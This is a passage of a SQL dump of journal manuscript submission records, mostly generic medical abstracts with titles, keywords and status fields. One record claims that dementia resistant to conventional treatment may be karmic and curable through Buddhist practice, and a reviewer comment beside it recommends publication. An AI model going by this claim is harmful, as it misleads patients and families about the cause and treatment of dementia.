Medicine Clinics in Healthcare Ecosystems',NULL,5,0,'',' ','healthcare; internal medicine; preventive care; disease management; holistic care',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14808,14808,86,0,'ipaom-24-14808','The Integrative Power of Psychosomatic Medicine: Understanding the Dynamics of Mind-Body Health',NULL,5,0,'',' ','Psychosomatic Medicine; comprehensive healing; medicine; physiological functioning; depression; anxiety',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14809,14809,86,0,'ipaom-24-14809','Navigating Antiseizure Medication: A Comprehensive Guide to Treatment Options and Considerations',NULL,5,0,'',' ','Antiseizure Medication; Medicine; treatment; neurological disorders; antiepileptic drugs',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14810,14810,86,0,'ipaom-24-14810','Advancements and Challenges in General Medicine',NULL,5,0,'','General medicine has witnessed significant advancements in recent years, propelled by breakthroughs in technology, pharmacology, and understanding of disease mechanisms. Innovations such as precision medicine, telemedicine, and artificial intelligence have transformed diagnosis, treatment, and patient care. However, along with these advancements come challenges such as healthcare disparities, data privacy concerns, and the rising burden of chronic diseases. This abstract highlights both the progress and the hurdles in general medicine, emphasizing the need for continued research, interdisciplinary collaboration, and equitable access to healthcare to address the evolving landscape of medical practice','telemedicine; precision medicine; medical practice; healthcare; transformed diagnosis',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14811,14811,86,0,'ipaom-24-14811','Critical Care Medicine: Enhancing Patient Outcomes through Advanced Therapies and Holistic Approaches',NULL,5,0,'','The pivotal role of critical care medicine in improving patient outcomes through the integration of advanced therapies and holistic approaches. It underscores the importance of a comprehensive approach that addresses not only the physiological aspects of illness but also considers the patient\'s psychological, emotional, and social well-being. By combining cutting-edge medical interventions with compassionate care, critical care practitioners strive to optimize recovery and enhance the quality of life for patients facing life-threatening conditions.','Critical Care Medicine; life-threatening conditions; recovery; patients; quality of life',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14812,14812,86,0,'ipaom-24-14812','Centralized Wellness: A Glimpse into General Internal Medicine Clinics',NULL,5,0,'','A Glimpse into General Internal Medicine Clinics\" provides an insightful overview of the pivotal role internal medicine clinics play in promoting holistic health. Focusing on the concept of centralized wellness, this abstract explores how these clinics serve as comprehensive hubs for preventive care, chronic disease management, and patient education. Through an interdisciplinary approach, they address physical, mental, and emotional well-being, fostering a proactive healthcare model that empowers individuals to lead healthier lives.','healthier lives; general internal medicine; treating illnesses; diseases; healthcare',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14813,14813,86,0,'ipaom-24-14813','Advancements in Laboratory Medicine: Innovations, Techniques, and Applications',NULL,19,0,'','Laboratory medicine is witnessing remarkable advancements driven by innovative technologies, techniques, and their diverse applications. This abstract provides a snapshot of recent trends shaping the field. From the emergence of high-throughput sequencing for personalized diagnostics to the integration of artificial intelligence in data analysis, laboratories are poised to revolutionize healthcare delivery. Additionally, novel sample processing methods, such as microfluidics and lab-on-a-chip devices, offer rapid and efficient analysis. Furthermore, the application of advanced imaging modalities, including mass spectrometry and molecular imaging, enhances diagnostic accuracy and therapeutic monitoring. Moreover, the advent of point-of-care testing facilitates timely interventions and improves patient outcomes. This abstract highlights the multifaceted landscape of laboratory medicine, illustrating its pivotal role in modern healthcare and its potential to redefine diagnostic and therapeutic paradigms.','therapeutic paradigms; redefine diagnostic; modern healthcare; laboratory medicine; molecular imaging',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14814,14814,86,0,'ipaom-24-14814','Advancing Healthcare: The Transformative Role of Integrative Laser Medicine',NULL,3,0,'',' ','Advancing Healthcare; Integrative Laser Medicine; Laser Medicine; Laser technology; medical specialties',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14815,14815,45,0,'iphsj-24-14815','Empowering Through Knowledge the Significance of Health Education',NULL,25,0,'','Health education plays a pivotal role in promoting well-being and preventing diseases across diverse populations. This comprehensive review synthesizes current research on health education, focusing on various approaches, challenges, and future directions. The review begins by elucidating the significance of health education in empowering individuals to make informed decisions about their health. It explores traditional approaches, such as classroom-based instruction and community outreach programs, alongside innovative methods like digital platforms and gamification. The effectiveness of these approaches is critically examined, considering factors such as accessibility, cultural relevance, and sustainability. The review highlights the challenges encountered in health education implementation, including limited resources, cultural barriers, and misinformation. It discusses disparities in health literacy and access to education, emphasizing the need for targeted interventions to address these issues. Moreover, the role of technology and social media in disseminating health information and combating misinformation is analyzed, along with ethical considerations and privacy concerns.\r\nLooking ahead, the review outlines emerging trends and future directions in health education, such as personalized learning approaches, virtual reality simulations, and peer-led interventions. It emphasizes the importance of adapting to evolving societal needs and leveraging technological advancements to enhance the reach and effectiveness of health education efforts. Finally, the review concludes with recommendations for policymakers, educators, and healthcare professionals to foster a culture of health literacy and empower individuals to lead healthier lives.','Health education; Public health; Well-being; Disease prevention; Health literacy; Intervention strategies; Technology; Interdisciplinary collaboration; Social determinants of health; Policy implications',651,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14816,14816,45,0,'iphsj-24-14816','Exploring the Depths of Clinical and Health Psychology Bridging Minds and Bodies for Holistic Well-being',NULL,19,0,'','Clinical and Health Psychology is a multifaceted field dedicated to understanding, assessing, and treating psychological factors that influence individuals\' health and well-being. This interdisciplinary domain integrates principles from psychology, medicine, and public health to address a wide array of issues ranging from mental illness to health behavior change. This abstract explores the fundamental concepts, research methodologies, and practical applications within Clinical and Health Psychology. Clinical and Health Psychology encompasses various theoretical frameworks, including cognitive-behavioral, psychodynamic, and humanistic approaches, to comprehend the complex interplay between psychological factors and health outcomes. Researchers and practitioners in this field investigate how psychological processes such as cognition, emotion, motivation, and behavior impact physical health, illness prevention, and treatment adherence. Moreover, they examine the bidirectional relationship between mental health disorders (e.g., depression, anxiety) and physical health conditions (e.g., cardiovascular disease, chronic pain).','Clinical Psychology; Health Psychology; Psychological Factors; Mental Health; Physical Health; Well-being; Behavior Change; Cognitive-behavioral Therapy; Psychosomatic Medicine; Chronic Illness; Health Behavior; Disease Prevention; Treatment Adherence',643,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14817,14817,45,0,'iphsj-24-14817','Exploring the Immunological Basis of Vaccines Building Immunity for Healthier Communities',NULL,5,0,'','Vaccines have long been heralded as one of the most effective public health interventions, offering protection against a myriad of infectious diseases and playing a pivotal role in building immunity within communities. This abstract delves into the immunological basis of vaccines, elucidating the mechanisms by which vaccines confer immunity and contribute to the establishment of herd immunity. We explore the intricate interplay between antigens, immune cells, and the adaptive immune response, highlighting the key principles underlying vaccine development and efficacy. Furthermore, we discuss the importance of vaccination in controlling and eradicating infectious diseases, emphasizing its role in preventing outbreaks and safeguarding public health. Through a comprehensive examination of the immunological principles driving vaccination, this abstract underscores the significance of vaccination programs in fostering healthier communities and emphasizes the critical need for continued research, development, and implementation of vaccines to combat emerging infectious threats.','Vaccines, Immunization, Immune response, Herd immunity',4076,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14818,14818,45,0,'iphsj-24-14818','Revolutionizing Healthcare the Marriage of Technology and Medicine',NULL,5,0,'','The intersection of healthcare and technology has revolutionized the delivery of medical services, transforming the landscape of patient care, research, and administration. This paper provides an in-depth exploration of the multifaceted relationship between health care and technology, examining its impact on various aspects of the healthcare industry. It delves into the utilization of advanced technologies such as artificial intelligence, machine learning, telemedicine, wearable devices, and blockchain in healthcare, elucidating their roles in improving patient outcomes, enhancing operational efficiency, and driving innovation. Furthermore, the paper discusses the challenges and ethical considerations associated with the integration of technology into healthcare systems, including issues related to data privacy, cybersecurity, and equitable access to technological advancements. Through comprehensive analysis and case studies, this paper aims to provide insights into the evolving landscape of healthcare technology and its implications for the future of medicine.','Healthcare; Technology; Artificial Intelligence; Machine Learning; Telemedicine; Wearable Devices; Blockchain; Patient Care; Operational Efficiency; Innovation; Data Privacy; Cybersecurity; Access; Ethical Considerations',4076,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14819,14819,45,0,'iphsj-24-14819','From Synapse to Circuit Understanding the Fundamentals of Neuroscience',NULL,5,0,'','The field of neuroscience has undergone significant advancements in recent decades, fueled by a growing appreciation for the intricate workings of the brain. From the molecular interactions at the synapse to the complex circuits orchestrating behavior, researchers have endeavored to unravel the fundamentals of neural function and dysfunction. This abstract aims to provide an overview of key concepts in neuroscience, starting from the molecular and cellular level and progressing to the systems and circuitry underlying brain function. We explore the dynamic processes of synaptic transmission, synaptic plasticity, and neurotransmitter signaling, highlighting their roles in information processing and communication within the nervous system. Moving beyond the synapse, we delve into the organization and connectivity of neural circuits, examining how patterns of activity give rise to perception, cognition, and behavior. By understanding the fundamentals of neuroscience, researchers and clinicians are poised to address pressing questions in brain health and disease, paving the way for innovative approaches to neurodegenerative disorders, psychiatric illnesses, and neurological injuries. Through interdisciplinary collaboration and technological innovation, we continue to unravel the mysteries of the brain, advancing our understanding of the human mind and opening new avenues for therapeutic intervention','Action potential; Ion channels; Neuroplasticity',3829,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14820,14820,45,0,'iphsj-24-14820','The Holistic Approach Integrating Health Physical Education and Recreation',NULL,15,0,'','Health, Physical Education, and Recreation (HPER) are integral components of holistic well-being, promoting physical, mental, and social health across diverse populations. This abstract explores the interdisciplinary nature of HPER, highlighting its significance in fostering healthy lifestyles, preventing disease, and enhancing overall quality of life. It delves into the multifaceted roles of health education, physical activity promotion, and recreational pursuits in addressing public health challenges and promoting individual and community wellness. The abstract further discusses the evolving landscape of HPER in response to societal changes, technological advancements, and emerging health trends. Additionally, it examines the importance of evidence-based practices, innovative strategies, and inclusive approaches in delivering effective HPER programs and interventions. Through a comprehensive analysis, this abstract underscores the critical role of HPER in promoting lifelong health and well-being, advocating for policies that support its integration into educational curricula, healthcare systems, and community settings.\r\nIn contemporary society, the pursuit of holistic well-being and lifelong vitality has emerged as a paramount concern. This pursuit encompasses not only physical health but also mental, emotional, and social dimensions. Physical education complements health education by emphasizing the importance of regular physical activity and exercise in maintaining optimal health and fitness levels. Through structured curricula and experiential learning opportunities, physical education programs aim to develop fundamental movement skills, enhance physical fitness, and cultivate positive attitudes towards physical activity. Moreover, physical education fosters social interaction, teamwork, and sportsmanship, thereby promoting holistic development and social cohesion among participants.','Health; Physical Education; Recreation; Well-being; Holistic Health; Public Health; Physical Activity Promotion; Disease Prevention; Community Wellness',4076,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14821,14821,45,0,'iphsj-24-14821','Understanding the Nexus of Epidemiology and Biostatistics Unveiling the Dynamics of Public Health',NULL,25,0,'','Epidemiology and biostatistics play pivotal roles in public health by providing essential tools and methodologies for understanding disease patterns, identifying risk factors, and evaluating interventions. Epidemiology focuses on the distribution and determinants of health and disease in populations, aiming to uncover patterns, trends, and associations to inform public health action. Biostatistics, on the other hand, encompasses the design, analysis, and interpretation of data in biological and health-related studies, enabling researchers to draw valid conclusions from complex datasets. Together, these disciplines contribute to evidence-based decision-making in healthcare policy, disease prevention, and clinical practice. This abstract explores the interdisciplinary nature of epidemiology and biostatistics, highlighting their significance in public health research and practice. It delves into key concepts such as study design, data collection methods, statistical analysis techniques, and interpretation of findings. Additionally, it discusses the role of epidemiologists and biostatisticians in addressing contemporary public health challenges, including infectious diseases, chronic conditions, environmental health threats, and disparities in healthcare access and outcomes.','Epidemiology; Biostatistics; Public Health; Disease Patterns; Risk Factors; Study Design; Data Analysis; Public Health Policy; Health Interventions; Evidence-Based Medicine; Population Health; Infectious Diseases; Chronic Conditions; Environmental Health; Healthcare Disparities.',388,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14822,14822,45,0,'iphsj-24-14822','Harnessing the Power of the Immune System Advances in Immunotherapy',NULL,5,0,'','Immunotherapy, a groundbreaking approach in modern medicine, has revolutionized the treatment landscape for various diseases by harnessing the innate capabilities of the immune system. This abstract explores recent advances in immunotherapy, focusing on its remarkable efficacy in combating cancer, autoimmune disorders, and infectious diseases. By leveraging the body\'s own defense mechanisms, immunotherapy techniques such as checkpoint inhibitors, adoptive cell therapy, and monoclonal antibodies have demonstrated unprecedented success in achieving durable responses and improved survival outcomes in cancer patients. Furthermore, the advent of precision medicine and personalized immunotherapy strategies has paved the way for tailored treatment regimens, optimizing therapeutic efficacy while minimizing adverse effects. Additionally, in the realm of autoimmune diseases, immunomodulatory agents offer promise in restoring immune balance and ameliorating symptoms, providing renewed hope for patients with conditions such as rheumatoid arthritis and multiple sclerosis.','Immunotherapy; Cancer treatment; Immune checkpoint inhibitors; CAR-T cell therapy',643,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14823,14823,45,0,'iphsj-24-14823','Neuroplasticity the Brain\'s Remarkable Ability to Adapt and Change',NULL,17,0,'','Neuroplasticity, the brain\'s remarkable ability to adapt and change, has garnered significant attention in neuroscience research due to its implications for understanding brain function, development, and recovery from injury. This phenomenon encompasses a wide range of processes, from synaptic plasticity at the cellular level to large-scale reorganization of neural circuits. In this abstract, we provide an overview of neuroplasticity, highlighting its mechanisms, functional significance, and implications for human cognition and behavior.\r\nAt the cellular level, neuroplasticity involves changes in synaptic strength and connectivity driven by experience, learning, and environmental factors. These synaptic changes underlie various forms of learning and memory, shaping the brain\'s capacity to acquire new skills and adapt to changing environments. Furthermore, neuroplasticity plays a crucial role in neural development, allowing the brain to sculpt its circuitry in response to early experiences and sensory inputs.\r\nIn addition to its role in learning and development, neuroplasticity holds profound implications for brain repair and rehabilitation following injury or disease. Through mechanisms such as axonal sprouting, dendritic remodeling, and cortical reorganization, the brain can rewire itself to compensate for damage and restore lost function. This adaptive capacity forms the basis of rehabilitative interventions aimed at promoting recovery in individuals with neurological disorders or injuries.\r\nFurthermore, advances in neuroimaging techniques, such as functional magnetic resonance imaging (fMRI) and diffusion tensor imaging (DTI), have provided invaluable insights into the neural correlates of neuroplasticity in the human brain. These studies have revealed the dynamic nature of brain structure and function in response to various interventions, including cognitive training, physical exercise, and pharmacological treatments.\r\nIn conclusion, neuroplasticity represents a fundamental property of the brain that enables adaptation, learning, and recovery throughout life. By elucidating the mechanisms underlying neuroplasticity and exploring its functional significance, researchers aim to harness the brain\'s adaptive potential to enhance learning, treat neurological disorders, and promote overall brain health. Continued investigation into neuroplasticity promises to uncover new insights into brain function and potential avenues for therapeutic intervention.','Synaptic; Learning; Memory; Adaptation',643,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14824,14824,45,0,'iphsj-24-14824','Neuroscience and Mental Health Bridging the Gap between Biology and Behavior',NULL,5,0,'','Neuroscience and mental health represent two intertwined disciplines that seek to understand the complex interplay between biology and behavior. This abstract explores the current state of knowledge regarding the relationship between neuroscience and mental health, highlighting key findings and emerging trends in research and clinical practice.\r\nThe burgeoning field of neuroscience has provided invaluable insights into the biological underpinnings of mental disorders, revealing intricate neural circuits, neurotransmitter systems, and genetic factors that contribute to psychiatric conditions such as depression, anxiety, schizophrenia, and bipolar disorder. Moreover, advances in neuroimaging techniques have allowed researchers to visualize structural and functional abnormalities in the brains of individuals with mental illness, shedding light on the neural correlates of symptoms and treatment response.\r\nAt the same time, there is growing recognition of the bidirectional nature of the relationship between brain biology and behavior. Environmental factors, early life experiences, and psychosocial stressors can profoundly impact brain development and function, increasing vulnerability to mental health disorders. Conversely, therapeutic interventions targeting behavior, such as psychotherapy and lifestyle modifications, have been shown to induce neuroplastic changes in the brain, offering new avenues for treatment.\r\nBridging the gap between neuroscience and mental health requires a multidisciplinary approach that integrates findings from basic science, clinical research, and real-world practice. Collaborative efforts among neuroscientists, psychiatrists, psychologists, and other healthcare professionals are essential to translate biological insights into personalized interventions that address the diverse needs of individuals with mental illness.\r\nIn conclusion, the convergence of neuroscience and mental health holds great promise for improving our understanding of psychiatric disorders and enhancing patient care. By elucidating the complex interrelationships between biology and behavior, we can develop innovative strategies for early detection, targeted intervention, and prevention, ultimately fostering mental well-being and resilience across the lifespan.','Mental health; Psychiatry; Psychology; Brain; Behavior',59239,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14825,14825,45,0,'iphsj-24-14825','Dr.',NULL,2,0,'','A most recent review paper stated that “Alzheimer\'s disease (AD) and Parkinson\'s diseases (PD) are the two most common progressive neurodegenerative diseases with limited knowledge on their cause and, presently, have no cure [1].”\r\n\r\nWhen conventional medical treatments prove ineffective, Dharma Master Jun Hong Lu suggests that the ailment may be karmic in nature, involving spiritual aspects as well. Within the framework of Dharma, such karmic afflictions often find resolution through dedicated Buddhist practice.\r\n\r\nIn an endeavor to substantiate the teachings of Master Lu, we have selected three cases of patients with dementia for examination, delving into the cause of their disease and the influence of Buddhist practices on the well-being of these patients.','Alzheimer\'s disease, reversible, Dharma',689,NULL,'2024-05-08',NULL,'Submitted',2,NULL,'2024-05-15',NULL,1,1,'0','I recommend to publish the article online.',0,'','',NULL,0,0,1,NULL,0),(14826,14827,667,0,'iptb-24-14826','Unveiling Corynebacterium Pseudodiphtheriticum: A Closer Look at Pneumonia\'s Lesser-Known Culprit',NULL,12,0,'','','',59246,NULL,'2024-05-09',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14827,14828,667,0,'iptb-24-14827','Advancements in Bone Marrow-derived Mononuclear Stem Cell Implantation: A Breakthrough in Regenerative Medicine',NULL,12,0,'','','',59247,NULL,'2024-05-09',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14828,14829,667,0,'iptb-24-14828','Unlocking Health Potential: The Power of Customized Vitamin & Mineral Replacement Therapy',NULL,12,0,'','','',59248,NULL,'2024-05-09',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14829,14830,667,0,'iptb-24-14829','Papillary Cancer of the Colon: Understanding, Diagnosis, and Treatment',NULL,12,0,'','','',59249,NULL,'2024-05-09',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14830,14831,667,0,'iptb-24-14830','Unveiling the Enigma: Exploring the Lassa Virus Nucleoprotein',NULL,12,0,'','','',59250,NULL,'2024-05-09',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14831,14826,45,0,'iphsj-24-14831','Pseudoscience in Cancer Services; a survey of National Health Service Trusts in England',NULL,14,0,'','Background\r\nScientifically implausible treatments are offered by some hospital cancer departments. Examples are reiki, aromatherapy, and reflexology. Salaried practitioners are employed to deliver these therapies, which are provided as palliative care, although they lack evidence of effectiveness. Such practices seem to conflict with efforts to make health care evidence based.\r\nAim\r\nTo estimate the extent of certain pseudoscientific practices in NHS Trusts, and to evaluate the rationale for such provision.\r\nDesign\r\nRelevant documents were requested from NHS Trusts under the Freedom of Information Act 2000 (FOIA). Main outcome measures were: number of trusts offering pseudoscientific practices in cancer departments, time to full FOIA response, presence and content of practice governance documents, and presence and quality of evidence for practices.\r\nSetting/Participants\r\nCancer care departments in NHS hospitals in England. No patient participants were involved in the survey.\r\nResults\r\n13.6% of eligible NHS trusts were offering pseudoscientific clinical practices. No trust provided a valid business case, or any robust evidence for the practices. The governance documents included claims about chakras, meridians, and invisible “energy”. Ten trusts required that informed consent be obtained from patients. This could not have been obtained because information given was misleading.\r\nConclusions\r\nPseudoscientific practices are embedded in the NHS in England, and governance documents show poor understanding of clinical evidence.','cancer, palliative care, pseudoscience, complementary medicine',5375,NULL,'2024-05-09',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'0','I recommend to publish the article online.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14832,14832,667,0,'iptb-24-14832','Unveiling the Power of Female Genital Hormones: Understanding Their Role in Health and Well-being',NULL,12,0,'','','',59251,NULL,'2024-05-10',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14833,14833,667,0,'iptb-24-14833','Advancements in Therapy for Acute Myeloid Leukemia: A Comprehensive Overview',NULL,12,0,'','','',59252,NULL,'2024-05-10',NULL,'Submitted',15,NULL,'2024-05-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14834,14834,667,0,'iptb-24-14834','Understanding Coronary Artery Disease: Causes, Symptoms, Diagnosis, and Treatment',NULL,12,0,'','','',59253,NULL,'2024-05-10',NULL,'Submitted',15,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14835,14835,667,0,'iptb-24-14835','Exploring Pneumosinus Dilatans: Understanding Causes, Symptoms, Diagnosis, and Treatment',NULL,12,0,'','','',59254,NULL,'2024-05-10',NULL,'Submitted',15,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14836,14836,667,0,'iptb-24-14836','Understanding Rheumatoid Arthritis: Causes, Symptoms, and Management',NULL,12,0,'','','',59255,NULL,'2024-05-10',NULL,'Submitted',15,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14837,14837,73,0,'ipjnn-24-14837','Neurovascular disease: Cerebral cavernous malformation and inflammatory mechanisms',NULL,5,0,'','Neurovascular diseases represent a complex interplay between the nervous system and the vascular system, often presenting intricate challenges in diagnosis, treatment, and management. Among these conditions, cerebral cavernous malformation (CCM) stands out as a particularly intriguing entity characterized by abnormal clusters of dilated blood vessels in the brain. While the genetic underpinnings of CCM have been extensively studied, emerging evidence suggests a significant role of inflammatory mechanisms in its pathogenesis. This essay aims to delve into the intricate relationship between CCM and inflammation, shedding light on the underlying mechanisms and potential therapeutic implications.','Neurovascular, vascular,  malformation',4043,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14838,14838,73,0,'ipjnn-24-14838','An unusual pseudotumor cerebri syndrome case report featuring a massive retroperitoneal cyst',NULL,5,0,'','Pseudotumor cerebri syndrome (PTCS), also known as idiopathic intracranial hypertension, is a rare condition characterized by increased intracranial pressure without identifiable structural or biochemical causes. Herein, we present a unique case of PTCS in conjunction with a massive retroperitoneal cyst, an exceptionally rare co-occurrence. This case highlights the importance of considering atypical presentations and conducting thorough investigations to guide appropriate management strategies. Pseudotumor cerebri syndrome (PTCS) is a relatively uncommon disorder characterized by increased intracranial pressure (ICP) without any underlying structural abnormalities or identifiable etiology. Patients typically present with symptoms such as headache, visual disturbances, and pulsatile tinnitus. The diagnosis of PTCS is often challenging due to its diverse clinical manifestations and the absence of specific diagnostic markers.','Pseudotumor, hypertension,intracranial',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14839,14839,73,0,'ipjnn-24-14839','Children with mild head injuries: The psychological consequence of post-traumatic stress',NULL,5,0,'','In the realm of childhood injuries, mild head injuries, often referred to as concussions, have garnered significant attention in recent years due to their potential long-term consequences. While medical research has extensively explored the physical ramifications of concussions, there is a growing recognition of the psychological consequences, particularly post-traumatic stress disorder (PTSD). This essay delves into the psychological aftermath of mild head injuries in children, focusing on the development, symptoms, risk factors, and interventions related to post-traumatic stress.','realm,  childhood,injuries',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14840,14840,73,0,'ipjnn-24-14840','Head injuries caused by seizures: A narrative review',NULL,5,0,'','Seizures are neurological events characterized by abnormal electrical activity in the brain. While seizures themselves can be challenging to manage, one often-overlooked consequence is head injuries sustained during the seizure episode. These injuries can range from mild concussions to severe traumatic brain injuries (TBIs) and can have significant short- and long-term consequences for affected individuals. This narrative review aims to explore the relationship between seizures and head injuries, shedding light on their mechanisms, risk factors, clinical presentation, and management strategies.','Seizures, neurological, seizure, brain',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14841,14841,73,0,'ipjnn-24-14841','The function of bone marrow aspirate in sacral bioneuromodulation of spinal cord injuries',NULL,5,0,'','Spinal Cord Injuries (SCI) pose significant challenges to patients and medical professionals alike, often resulting in debilitating consequences that affect mobility, sensation, and overall quality of life. While advancements in medical science have improved understanding and treatment modalities, there remains a quest for innovative approaches that can enhance functional recovery. Sacral bioneuromodulation, involving the use of Bone Marrow Aspirate (BMA), emerges as a promising avenue in this pursuit. This paper delves into the function of bone marrow aspirate in sacral bioneuromodulation of spinal cord injuries, exploring its mechanisms, therapeutic potential, and implications for future research and clinical practice','Spinal Cord,  medical,sensation, modalities',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14842,14842,73,0,'ipjnn-24-14842','Cat with spinal cord medulloepithelioma',NULL,5,0,'','        ',' ',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14843,14843,73,0,'ipjnn-24-14843','Membrane proteins and joint hypermobility syndrome: A thorough review',NULL,5,0,'','     ','  ',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14844,14844,73,0,'ipjnn-24-14844','Neurocutaneous disorders: Identification, handling and therapy',NULL,5,0,'','        ','      ',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14845,14845,73,0,'ipjnn-24-14845','Neurocognitive alterations in COVID-19 depression patients',NULL,5,0,'','          ','   ',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14846,14846,73,0,'ipjnn-24-14846','Exposing the complex issues associated with dysrhythmia',NULL,5,0,'','           ','           ',326,NULL,'2024-05-14',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14847,14847,73,0,'ipjnn-24-14847','ETAT DE MAL MIGRAINEUX A CASE REPORT AND REVIEW OF THE LITERATURE AT NDJAMENA NATIONAL REFERENCE GENERAL HOSPITAL Abstract:',NULL,2,0,'','Introduction\r\nMigraine is a chronic paroxysmal headache evolving through attacks between which the patient does not suffer (free interval) [1].\r\nIts most frequent medical complication is migraine malaise.\r\nMigrainous malaise is defined as severe migraine attacks lasting more than 72 hours and resistant to the usual treatment of migraine attacks [1]. It affects 10% of the population, with a clear predominance of women (2 out of 3 cases).\r\nIt most often begins between the ages of 10 and 40 (90% of cases), sometimes in childhood and rarely after the age of 40 [3].\r\nIn the United States, the direct and indirect economic cost of this disease is estimated at between 5 and 17 billion dollars [1].\r\nIts prevalence in France and other European countries is estimated at between 12 and 15% of the population [3].\r\nIn Africa (Nigeria and Zimbabwe), the prevalence of migraines is rare, at 7% and 12% respectively [4].\r\nIn Chad, we found no studies on the subject.\r\nThus, the scarcity of studies on this subject, and the different diagnoses and management methods in the context of countries with limited health resources, motivated the choice of this theme entitled:\r\nMIGRAINE SICKNESS: study of a case and review of the literature in the Neurology Department of the National Referral General Hospital in N\'Djamena.\r\nObjectives:\r\n\"To continue improving the management of migraine headache in the Neurology Department of the National General Reference Hospital in N\'Djamena.\r\nTo achieve the objective, the following plan was adopted:\r\nPresentation of the clinical case \r\nDiscussion  \r\nConclusion\r\nPresentation of the clinical case\r\nPresentation of the clinical case\r\nMrs TS, 35 years old, a policeman by profession, was seen for :\r\nDiffuse headaches \r\nVomiting and dizziness\r\nProgression over 4 days\r\nHistory of illness \r\nThe onset of symptoms dates back to 4 days after the patient was admitted, marked by the progressive onset of intense unilateral, then bilateral 